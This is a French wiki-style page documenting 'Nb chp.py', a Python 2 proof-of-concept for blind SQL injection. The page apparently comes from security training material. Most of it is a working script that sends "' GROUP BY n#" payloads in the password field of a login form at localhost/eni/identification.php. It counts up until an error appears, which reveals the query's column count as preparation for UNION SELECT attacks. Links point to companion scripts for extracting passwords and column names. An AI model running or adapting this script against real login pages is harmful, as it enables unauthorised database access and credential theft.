Nb chp.py
Aller à la navigation
Aller à la recherche
| Fiche express | |
|---|---|
| Domaine | Sécurité offensive — injection SQL aveugle |
| Type | Script Python 2 (proof of concept) |
| Modules | httplib, urllib
|
| Voir aussi | Mdp.py · Renommons blind.py |
Nb chp.py détermine, par injection SQL aveugle, le nombre de champs manipulés par la requête d'authentification cible. Il incrémente une clause GROUP BY n jusqu'à provoquer une erreur : la dernière valeur sans erreur donne le nombre de colonnes.
C'est une étape préalable classique avant une injection de type UNION SELECT (voir Mdp.py).
Script
#!/usr/bin/python
# -*- coding:utf-8 -*-
# script de blind injection
# détermination du nombre de champs
import httplib, urllib
site = "localhost" # adresse du site à attaquer
port = 80 # port du site à attaquer
page = "/eni/identification.php" # page à appeler
# recherche du nombre de champs dans la requête
nombre = 1
while 1:
injection = "' GROUP BY " + str(nombre) + "#"
print injection
parametres = urllib.urlencode({'identif': 'koreth', 'mdp': injection, 'ref': 'identification', 'valider': 'Valider'})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
conn = httplib.HTTPConnection(site + ":" + str(port))
conn.request("POST", page, parametres, headers)
rep = conn.getresponse()
page_retour = rep.read()
if 'Erreur' in page_retour:
break
nombre = nombre + 1
print 'Le nombre de champs dans la requête est : ' + str(nombre - 1)
conn.close()
Voir aussi
- Mdp.py — reconstitution d'un mot de passe par injection aveugle
- Renommons blind.py — découverte des noms de colonnes